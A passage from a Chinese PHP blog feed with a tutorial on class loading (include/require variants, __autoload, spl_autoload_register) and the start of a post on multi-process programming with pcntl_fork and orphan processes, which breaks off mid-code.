<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="PHP-类的自动加载"><a href="#PHP-类的自动加载" class="headerlink" title="PHP 类的自动加载"></a>PHP 类的自动加载</h1><blockquote><p>以前看过这块的概念与讲解,知道通过composer构建的现代化框架都是通过spl_autoload_register函数进行类的自动加载,现在形成笔记记录一下</p></blockquote><ul><li>php官方文档: <a href="https://www.php.net/manual/zh/language.oop5.autoload">https://www.php.net/manual/zh/language.oop5.autoload</a>.</li></ul><h2 id="类的加载方式"><a href="#类的加载方式" class="headerlink" title="类的加载方式"></a>类的加载方式</h2><ul><li>手动引入</li><li>__autoload</li><li>spl_autoload_register</li></ul><h3 id="手动引入"><a href="#手动引入" class="headerlink" title="手动引入"></a>手动引入</h3><blockquote><p>就相当了刚开始学习php时的几个函数 include、include_once、require、require_once 。</p></blockquote><p>寻找方式:</p><ol><li>按参数给出的路径寻找</li><li>没有目录(只有文件名)按照include_path指定的目录去寻找</li><li>调用脚本文件所在目录和当前工作目录下寻找</li></ol><h4 id="include"><a href="#include" class="headerlink" title="include"></a>include</h4><p>实验:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">// 正常引入</span><br><span class="line">$includeRes = include 'AutoloadDemo.php';</span><br><span class="line">var_dump($includeRes);</span><br><span class="line">AutoloadDemo::hello();</span><br><span class="line"></span><br><span class="line">// 错误引入</span><br><span class="line">$includeRes = include 'AutoloadDemo1.php';</span><br><span class="line">var_dump($includeRes);</span><br><span class="line"></span><br><span class="line">// 重复引入</span><br><span class="line">$includeRes = include 'AutoloadDemo.php';</span><br><span class="line">var_dump($includeRes);</span><br><span class="line">AutoloadDemo::hello();</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>结果:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">// 正常引入</span><br><span class="line">int(1)</span><br><span class="line">Hello AutoloadDemo</span><br><span class="line"></span><br><span class="line">// 错误引入</span><br><span class="line">PHP Warning: include(AutoloadDemo1.php): failed to open stream: No such file or directory </span><br><span class="line">bool(false)</span><br><span class="line"></span><br><span class="line">// 重复引入</span><br><span class="line">PHP Fatal error: Cannot declare class AutoloadDemo, because the name is already</span><br><span class="line"></span><br></pre></td></tr></table></figure><ul><li>include成功时,返回值为int(1),失败的返回值为bool(false)</li><li>错误引入是warning,重复引入是error</li></ul><h4 id="include-once"><a href="#include-once" class="headerlink" title="include_once"></a>include_once</h4><p>实验:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">// 正常引入</span><br><span class="line">$includeRes = include_once 'AutoloadDemo.php';</span><br><span class="line">var_dump($includeRes);</span><br><span class="line">AutoloadDemo::hello();</span><br><span class="line"></span><br><span class="line">// 重复引入</span><br><span class="line">$includeRes = include_once 'AutoloadDemo.php';</span><br><span class="line">var_dump($includeRes);</span><br><span class="line">AutoloadDemo::hello();</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">// 正常引入</span><br><span class="line">$includeRes = include 'AutoloadDemo.php';</span><br><span class="line">var_dump($includeRes);</span><br><span class="line">AutoloadDemo::hello();</span><br><span class="line"></span><br><span class="line">// 重复引入</span><br><span class="line">$includeRes = include_once 'AutoloadDemo.php';</span><br><span class="line">var_dump($includeRes);</span><br><span class="line">AutoloadDemo::hello();</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>结果:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">int(1)</span><br><span class="line">Hello AutoloadDemo</span><br><span class="line">bool(true)</span><br><span class="line">Hello AutoloadDemo</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">int(1)</span><br><span class="line">Hello AutoloadDemo</span><br><span class="line">bool(true)</span><br><span class="line">Hello AutoloadDemo</span><br></pre></td></tr></table></figure><ul><li>第一次引入成功时,都是返回的int(1)</li><li>重复引入时,会直接返回bool(true)</li></ul><h4 id="require"><a href="#require" class="headerlink" title="require"></a>require</h4><p>实验:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">// 正常引入</span><br><span class="line">$includeRes = require 'AutoloadDemo.php';</span><br><span class="line">var_dump($includeRes);</span><br><span class="line">AutoloadDemo::hello();</span><br><span class="line"></span><br><span class="line">// 错误引入</span><br><span class="line">$includeRes = require 'AutoloadDemo1.php';</span><br><span class="line">var_dump($includeRes);</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">// 正常引入</span><br><span class="line">$includeRes = require 'AutoloadDemo.php';</span><br><span class="line">var_dump($includeRes);</span><br><span class="line">AutoloadDemo::hello();</span><br><span class="line"></span><br><span class="line">// 重复引入</span><br><span class="line">$includeRes = require 'AutoloadDemo.php';</span><br><span class="line">var_dump($includeRes);</span><br><span class="line">AutoloadDemo::hello();</span><br></pre></td></tr></table></figure><p>结果:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">int(1)</span><br><span class="line">Hello AutoloadDemo</span><br><span class="line">PHP Warning: require(AutoloadDemo1.php): failed to open stream: No such file or directory </span><br><span class="line">Fatal error: require(): Failed opening required 'AutoloadDemo1.php</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">int(1)</span><br><span class="line">Hello AutoloadDemo</span><br><span class="line">PHP Fatal error: Cannot declare class AutoloadDemo, because the name is already</span><br></pre></td></tr></table></figure><ul><li>成功引入时跟include一样,返回值都是int(1)</li><li>错误引入与重复引入,都会抛出error</li></ul><h4 id="require-once"><a href="#require-once" class="headerlink" title="require_once"></a>require_once</h4><p>实验:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">// 正常引入</span><br><span class="line">$includeRes = require 'AutoloadDemo.php';</span><br><span class="line">var_dump($includeRes);</span><br><span class="line">AutoloadDemo::hello();</span><br><span class="line"></span><br><span class="line">// 重复引入</span><br><span class="line">$includeRes = require_once 'AutoloadDemo.php';</span><br><span class="line">var_dump($includeRes);</span><br><span class="line">AutoloadDemo::hello();</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">// 正常引入</span><br><span class="line">$includeRes = require_once 'AutoloadDemo.php';</span><br><span class="line">var_dump($includeRes);</span><br><span class="line">AutoloadDemo::hello();</span><br><span class="line"></span><br><span class="line">// 重复引入</span><br><span class="line">$includeRes = require_once 'AutoloadDemo.php';</span><br><span class="line">var_dump($includeRes);</span><br><span class="line">AutoloadDemo::hello();</span><br></pre></td></tr></table></figure><p>结果:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">int(1)</span><br><span class="line">Hello AutoloadDemo</span><br><span class="line">bool(true)</span><br><span class="line">Hello AutoloadDemo</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">int(1)</span><br><span class="line">Hello AutoloadDemo</span><br><span class="line">bool(true)</span><br><span class="line">Hello AutoloadDemo</span><br></pre></td></tr></table></figure><ul><li>跟include一样</li></ul><h4 id="区别"><a href="#区别" class="headerlink" title="区别"></a>区别</h4><ul><li>require一个文件存在错误的话,那么程序就会中断执行了,并显示致命错误。</li><li>include一个文件存在错误的话,那么程序不会中端,而是继续执行,并显示一个警告错误。</li></ul><blockquote><p>现在越来越趋向于严格的编码,所以require错误直接中断执行,才是可靠的</p></blockquote><h3 id="autoload"><a href="#autoload" class="headerlink" title="__autoload"></a>__autoload</h3><blockquote><p>__autoload() 在 PHP 7.2.0 起弃用,在 PHP 8.0.0 起移除。</p></blockquote><p>简单示例一下就行了,毕竟现在已经没人用了吧</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">function __autoload(string $classname)</span><br><span class="line">{</span><br><span class="line"> $file = $classname . '.php';</span><br><span class="line"> if (file_exists($file)) {</span><br><span class="line"> require_once $file;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">AutoloadDemo::hello();</span><br></pre></td></tr></table></figure><ul><li>遇到未包含的类,会触发 __autoload 进行加载,如果所有加载规则中没有此类,则 Fatal error。</li><li>不支持多个自动加载的函数。</li></ul><h3 id="spl-autoload-register"><a href="#spl-autoload-register" class="headerlink" title="spl_autoload_register"></a>spl_autoload_register</h3><blockquote><p>spl_autoload_register() 函数可以注册任意数量的自动加载器,当使用尚未被定义的类(class)和接口(interface)时自动去加载。通过注册自动加载器,脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。<br>将函数注册到SPL <strong>autoload函数队列中。如果该队列中的函数尚未激活,则激活它们。如果在你的程序中已经实现了</strong>autoload()函数,它必须显式注册到__autoload()队列中。</p></blockquote><p>实验:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">.</span><br><span class="line">├── demo1</span><br><span class="line">│ └── AutoloadDemo1.php</span><br><span class="line">├── demo2</span><br><span class="line">│ └── AutoloadDemo2.php</span><br><span class="line">└── spl_autoload_register.php</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">$autoload1 = function (string $classname) {</span><br><span class="line"> $path = './demo1/' .$classname . '.php';</span><br><span class="line"> echo "尝试使用autoload1 加载类 {$classname}" .PHP_EOL;</span><br><span class="line"> if (file_exists($path)) {</span><br><span class="line"> require_once $path;</span><br><span class="line"> }</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line">$autoload2 = function (string $classname) {</span><br><span class="line"> $path = './demo2/' . $classname . '.php';</span><br><span class="line"> echo "尝试使用autoload2 加载类 {$classname}" .PHP_EOL;</span><br><span class="line"> if (file_exists($path)) {</span><br><span class="line"> require_once $path;</span><br><span class="line"> }</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line">spl_autoload_register($autoload1);</span><br><span class="line">spl_autoload_register($autoload2);</span><br><span class="line"></span><br><span class="line">AutoloadDemo1::hello();</span><br><span class="line">AutoloadDemo2::hello();</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>结果:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">尝试使用autoload1 加载类 AutoloadDemo1</span><br><span class="line">Hello AutoloadDemo1</span><br><span class="line"></span><br><span class="line">尝试使用autoload1 加载类 AutoloadDemo2</span><br><span class="line">尝试使用autoload2 加载类 AutoloadDemo2</span><br><span class="line">Hello AutoloadDemo2</span><br></pre></td></tr></table></figure><ul><li>spl_autoload_register会维护一个autoload队列,可添加多个</li><li>当调用未知类时,触发autoload队列</li><li>依次调用注册的autoload队列,直到队列结束 或者 找到类</li><li>当使用 spl_autoload_register() 后当 new 一个未包含的类时候,会去执行 spl_autoload_register() 第一个参数函数名的函数,这个函数有一个参数就是需要 new 的类名,这个函数的功能就是把这个类给包含进来(类名和文件名一致),这样就实现了自动加载功能</li></ul>]]></content>
<summary type="html">
<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla
</summary>
<category term="分享" scheme="https://blog.lihq.xyz/categories/%E5%88%86%E4%BA%AB/"/>
<category term="php" scheme="https://blog.lihq.xyz/tags/php/"/>
</entry>
<entry>
<title>PHP多进程奥秘之进程池实现</title>
<link href="https://blog.lihq.xyz/2021/06/13/process-pool-implementation-of-PHP-multi-process-mystery/"/>
<id>https://blog.lihq.xyz/2021/06/13/process-pool-implementation-of-PHP-multi-process-mystery/</id>
<published>2021-06-13T05:30:00.000Z</published>
<updated>2025-09-18T07:56:12.967Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="PHP多进程奥秘之进程池实现"><a href="#PHP多进程奥秘之进程池实现" class="headerlink" title="PHP多进程奥秘之进程池实现"></a>PHP多进程奥秘之进程池实现</h1><blockquote><p>前几天公司分享会,大佬twosee讲了一节《PHP手写多进程服务》,自己也动手实现一下,哈哈哈</p></blockquote><h2 id="进程,啥是进程"><a href="#进程,啥是进程" class="headerlink" title="进程,啥是进程"></a>进程,啥是进程</h2><p>简单点就是,正在进行的一个过程或者说一个任务。而负责执行该任务的是cpu。</p><p><img src="https://blog-1256184194.file.myqcloud.com/2021/06/13/e77a60fd74ddc.png" alt="Snipaste_2021-06-13_11-08-52.png"></p><p>CPU同一时间只能干一件事,但是我们观察到的现象是,多个程序可以同时运行。因为我们的操作系统帮我们设计了一个牛逼的任务调度,采用时间片轮转的抢占式调度方式,正常来说,CPU一个内核一个时间只能干一件事,通过时间片的方式,无感切换执行。</p><p><img src="https://blog-1256184194.file.myqcloud.com/2021/06/13/5144ce992b89a.png" alt="Snipaste_2021-06-13_11-13-26.png"></p><h2 id="不同系统下的多进程编程"><a href="#不同系统下的多进程编程" class="headerlink" title="不同系统下的多进程编程"></a>不同系统下的多进程编程</h2><p>每个语言的多进程编程,底层其实都是调用操作系统提供的相关api</p><h3 id="Unix"><a href="#Unix" class="headerlink" title="Unix"></a>Unix</h3><p><img src="https://blog-1256184194.file.myqcloud.com/2021/06/13/9e923f5b10d84.png" alt="Snipaste_2021-06-13_11-17-06.png"></p><h3 id="跨平台"><a href="#跨平台" class="headerlink" title="跨平台"></a>跨平台</h3><p><img src="https://blog-1256184194.file.myqcloud.com/2021/06/13/5e4016fa80bbd.png" alt="Snipaste_2021-06-13_11-17-15.png"></p><h2 id="PHP实现"><a href="#PHP实现" class="headerlink" title="PHP实现"></a>PHP实现</h2><p>主要都是通过pcntl函数来进行多进程编程</p><h3 id="pcntl-fork"><a href="#pcntl-fork" class="headerlink" title="pcntl_fork"></a>pcntl_fork</h3><ul><li>在当前进程当前位置产生分支(子进程)</li><li>fork是创建了一个子进程,父进程和子进程都从fork的位置开始向下继续执行,不同的是父进程执行过程中,得到的fork返回值为子进程 号,而子进程得到的是0</li><li>子进程与父进程共享程序正文段</li><li>子进程拥有父进程的数据空间和堆、栈的副本,注意是副本,不是共享</li><li>fork之后,是父进程先执行还是子进程先执行无法确认,取决于系统调度</li></ul><blockquote><p>PS:这里说子进程拥有父进程数据空间以及堆、栈的副本,实际上,在大多数的实现中也并不是真正的完全副本。更多是采用了COW(Copy On Write)即写时复制的技术来节约存储空间。简单来说,如果父进程和子进程都不修改这些 数据、堆、栈 的话,那么父进程和子进程则是暂时共享同一份 数据、堆、栈。只有当父进程或者子进程试图对 数据、堆、栈 进行修改的时候,才会产生复制操作,这就叫做写时复制。</p></blockquote><h4 id="程序从pcntl-fork-后父进程和子进程将各自继续往下执行代码"><a href="#程序从pcntl-fork-后父进程和子进程将各自继续往下执行代码" class="headerlink" title="程序从pcntl_fork()后父进程和子进程将各自继续往下执行代码"></a>程序从pcntl_fork()后父进程和子进程将各自继续往下执行代码</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span> <span class="comment">/** <span class="doctag">@noinspection</span> ALL */</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$parentPid</span> = <span class="title function_ invoke__">getmypid</span>();</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'目前父进程的pid为:'</span> . <span class="variable">$parentPid</span> . PHP_EOL;</span><br><span class="line"></span><br><span class="line"><span class="variable">$pid</span> = <span class="title function_ invoke__">pcntl_fork</span>();</span><br><span class="line"></span><br><span class="line"><span class="comment">// pcntl_fork()后父进程和子进程将各自继续往下执行代码</span></span><br><span class="line"><span class="comment">// 上面只fork了一次,但是下面的代码会执行两次,一次在父进程里,一次在子进程里</span></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$pid</span> > <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'我创建了一个子进程:'</span> . <span class="variable">$pid</span> . PHP_EOL;</span><br><span class="line">} <span class="keyword">else</span> <span class="keyword">if</span> (<span class="number">0</span> === <span class="variable">$pid</span>) {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'我是新创建的子进程'</span> . PHP_EOL;</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'fork失败'</span> . PHP_EOL;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>执行结果可见,<strong>执行了两次fork之后的代码,fork之前的只有一次</strong></p><p><img src="https://blog-1256184194.file.myqcloud.com/2021/06/13/bc7b679248056.png" alt="Snipaste_2021-06-13_11-25-08.png"></p><h4 id="子进程拥有父进程的数据副本,而并不是共享"><a href="#子进程拥有父进程的数据副本,而并不是共享" class="headerlink" title="子进程拥有父进程的数据副本,而并不是共享"></a>子进程拥有父进程的数据副本,而并不是共享</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><?php /** @noinspection ALL */</span><br><span class="line"></span><br><span class="line">$parentPid = getmypid();</span><br><span class="line">echo '目前父进程的pid为:' . $parentPid . PHP_EOL;</span><br><span class="line"></span><br><span class="line">// 初始化一个number变量 1</span><br><span class="line">$number = 1;</span><br><span class="line">$pid = pcntl_fork();</span><br><span class="line"></span><br><span class="line">// pcntl_fork()后父进程和子进程将各自继续往下执行代码</span><br><span class="line">// 上面只fork了一次,但是下面的代码会执行两次,一次在父进程里,一次在子进程里</span><br><span class="line">if ($pid > 0) {</span><br><span class="line"> $number += 1;</span><br><span class="line"> echo '我创建了一个子进程:' . $pid . PHP_EOL;</span><br><span class="line"> echo 'number+1 :' . $number . PHP_EOL;</span><br><span class="line">} else if (0 === $pid) {</span><br><span class="line"> $number += 2;</span><br><span class="line"> echo '我是新创建的子进程' . PHP_EOL;</span><br><span class="line"> echo 'number+2 :' . $number . PHP_EOL;</span><br><span class="line">} else {</span><br><span class="line"> echo 'fork失败' . PHP_EOL;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>执行结果可见,<strong>number在进程里执行时,数值的初始值都为1</strong></p><p><img src="https://blog-1256184194.file.myqcloud.com/2021/06/13/1eb474da9f3fd.png" alt="Snipaste_2021-06-13_11-29-47.png"></p><h4 id="循环创建子进程会发生什么"><a href="#循环创建子进程会发生什么" class="headerlink" title="循环创建子进程会发生什么"></a>循环创建子进程会发生什么</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><?php /** @noinspection ALL */</span><br><span class="line"></span><br><span class="line">for ($i = 1; $i <= 3; $i++) {</span><br><span class="line"> $parentPid = getmypid();</span><br><span class="line"> echo $i.'目前父进程的pid为:' . $parentPid . PHP_EOL;</span><br><span class="line"> $pid = pcntl_fork();</span><br><span class="line"> if ($pid > 0) {</span><br><span class="line"> echo $i.'我创建了一个子进程:' . $pid . PHP_EOL;</span><br><span class="line"> } else if (0 === $pid) {</span><br><span class="line"> echo $i.'我是新创建的子进程' . PHP_EOL;</span><br><span class="line"> } else {</span><br><span class="line"> echo $i.'fork失败' . PHP_EOL;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>执行结果</p><p><img src="https://blog-1256184194.file.myqcloud.com/2021/06/13/d3d9c90a3b943.png" alt="Snipaste_2021-06-13_12-06-52.png"></p><p>这样不好看,我调整一下顺序</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">1目前父进程的pid为:2685</span><br><span class="line">1我创建了一个子进程:2686</span><br><span class="line">1我是新创建的子进程</span><br><span class="line"></span><br><span class="line">2目前父进程的pid为:2685</span><br><span class="line">2我创建了一个子进程:2687</span><br><span class="line">2我是新创建的子进程</span><br><span class="line"></span><br><span class="line">2目前父进程的pid为:2686</span><br><span class="line">2我创建了一个子进程:2690</span><br><span class="line">2我是新创建的子进程</span><br><span class="line"></span><br><span class="line">3目前父进程的pid为:2685</span><br><span class="line">3我创建了一个子进程:2688</span><br><span class="line">3我是新创建的子进程</span><br><span class="line"></span><br><span class="line">3目前父进程的pid为:2687</span><br><span class="line">3我创建了一个子进程:2689</span><br><span class="line">3我是新创建的子进程</span><br><span class="line"></span><br><span class="line">3目前父进程的pid为:2686</span><br><span class="line">3我创建了一个子进程:2691</span><br><span class="line">3我是新创建的子进程</span><br><span class="line"></span><br><span class="line">3目前父进程的pid为:2690</span><br><span class="line">3我创建了一个子进程:2692</span><br><span class="line">3我是新创建的子进程</span><br></pre></td></tr></table></figure><p><img src="https://blog-1256184194.file.myqcloud.com/2021/06/13/4020dda8e8cdd.png" alt="创建子进程流程图.png"></p><p>可以看到,创建了7个子进程,再次验证了pcntl_fork()后父进程和子进程将各自继续往下执行代码,也就是循环调用,子进程如果没有提前结束的话,会不断增加,形成僵尸进程</p><p>循环3次,创建了1+2+4个子进程,循环4次,创建了1+2+4+8个子进程,即1+2+4+···+2^(n-1)</p><h2 id="孤儿进程和僵尸进程"><a href="#孤儿进程和僵尸进程" class="headerlink" title="孤儿进程和僵尸进程"></a>孤儿进程和僵尸进程</h2><h3 id="孤儿进程"><a href="#孤儿进程" class="headerlink" title="孤儿进程"></a>孤儿进程</h3><blockquote><p>父进程在子进程结束之前提前退出,这些子进程将由init(进程ID为1)进程收养并完成对其各种数据状态的收集。因为子进程从此变得无依无靠、无家可归,变成了孤儿。</p></blockquote><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span> <span class="comment">/** <span class="doctag">@noinspection</span> ALL */</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$pid</span> = <span class="title function_ invoke__">pcntl_fork</span>();</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$pid</span> > <span class="number">0</span>) {</span><br><span class="line"> <span class="comment">// 显示父进程的进程ID,这个函数可以是getmypid(),也可以用posix_getpid()</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"Father PID:"</span> . <span class="title function_ invoke__">getmypid</span>() . PHP_EOL;</span><br><span class="line"> <span class="comment">// 让父进程停止两秒钟,在这两秒内,子进程的父进程ID还是这个父进程</span></span><br><span class="line"> <span class="title function_ invoke__">sleep</span>(<span class="number">2</span>);</span><br><span class="line">} <span class="keyword">else</span> <span class="keyword">if</span> (<span class="number">0</span> == <span class="variable">$pid</span>) {</span><br><span class="line"> <span class="comment">// 让子进程循环10次,每次睡眠1s,然后每秒钟获取一次子进程的父进程进程ID</span></span><br><span class="line"> <span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">1</span>; <span class="variable">$i</span> <= <span class="number">10</span>; <span class="variable">$i</span>++) {</span><br><span class="line"> <span class="title function_ invoke__">sleep</span>(<span class="number">1</span>);</span><br><span class="line"> <span class="comment">// posix_getppid()函数的作用就是获取当前进程的父进程进程ID</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="title function_ invoke__">posix_getppid</span>() . 